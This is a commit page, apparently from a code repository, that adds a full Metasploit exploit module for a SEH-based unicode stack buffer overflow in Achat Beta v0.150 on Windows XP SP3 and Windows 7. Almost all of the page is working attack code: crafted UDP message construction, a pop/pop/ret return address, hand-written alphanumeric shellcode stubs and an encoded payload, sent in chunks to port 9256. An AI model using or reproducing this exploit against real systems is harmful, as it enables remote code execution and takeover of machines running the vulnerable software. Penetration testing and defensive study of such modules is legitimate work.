Skip to content

Commit 64ab11c

Browse files
committed
Add Achat Beta v0.150 RCE for Win7/XPSP3
1 parent 53af758 commit 64ab11c

File tree

1 file changed

+101
-0
lines changed

1 file changed

+101
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::Udp
12+
include Msf::Exploit::Remote::Seh
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Achat Beta v0.150 Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a SEH based unicode stack buffer overflow in Achat v0.150,
19+
by sending a crafted message to the default harcoded port 9256. The message
20+
overflows the stack and overwrites the SEH handler. The exploit is reliable, but
21+
depends of timing. It has two distinct threads that are overflowing the stack in
22+
the same time. Tested on Windows XP SP3 and Windows 7.
23+
The overflow was found by Peter Kasza.
24+
},
25+
'Author' =>
26+
[
27+
'Balazs Bucsay <balazs.bucsay[-at-]rycon[-dot-]hu>', # Exploit, Metasploit module
28+
'Peter Kasza <peter.kasza[-at-]itinsight[-dot-]hu>' # Vulnerability discovery
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['URL', 'http://sourceforge.net/projects/achat/files/AChat%20beta/AChat%20beta%207%20%28v0.150%29/'],
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'EXITFUNC' => 'process'
38+
},
39+
'Payload' =>
40+
{
41+
'Space' => 730,
42+
# 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
43+
'StackAdjustment' => -3500,
44+
'EncoderOptions' =>
45+
{
46+
'BufferRegister' => 'EAX',
47+
}
48+
49+
},
50+
'Platform' => 'win',
51+
'Targets' =>
52+
[
53+
# Tested OK Windows XP SP3, Windows 7
54+
# Not working on Windows Server 2003
55+
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ], #AChat.exe
56+
],
57+
'Privileged' => false,
58+
'DefaultTarget' => 0,
59+
'DisclosureDate' => 'Dec 18 2014'))
60+
61+
register_options(
62+
[
63+
Opt::RPORT(9256),
64+
], self.class)
65+
end
66+
67+
def exploit
68+
connect_udp
69+
70+
firststage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
71+
encoder = framework.encoders.create('x86/unicode_mixed')
72+
encoder.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
73+
payloadencoded = encoder.encode(payload.raw, nil, nil, platform)
74+
75+
sploit = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
76+
sploit << "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
77+
sploit << "\x62" + "A"*45 # 0x62 will be used to calculate the right offset
78+
sploit << "\x61\x40" # POPAD + INC EAX
79+
80+
sploit << target.ret # AChat.exe p/p/r address
81+
# adjusting the first thread's unicode payload, tricky asm-fu
82+
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
83+
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
84+
sploit << "\x2A" + firststage + "C"*(157-firststage.length-31-3) # put address of the payload to EAX
85+
sploit << payloadencoded + "A"*(1152-payloadencoded.length) # placing the payload
86+
sploit << "\x00" + "A"*10 + "\x00"
87+
88+
89+
i = 0
90+
while i < sploit.length do
91+
if i > 172000
92+
sleep(1.0)
93+
end
94+
udp_sock.put(sploit[i..i+8192-1])
95+
i += 8192
96+
end
97+
98+
disconnect_udp
99+
end
100+
101+
end

0 commit comments

Comments
 (0)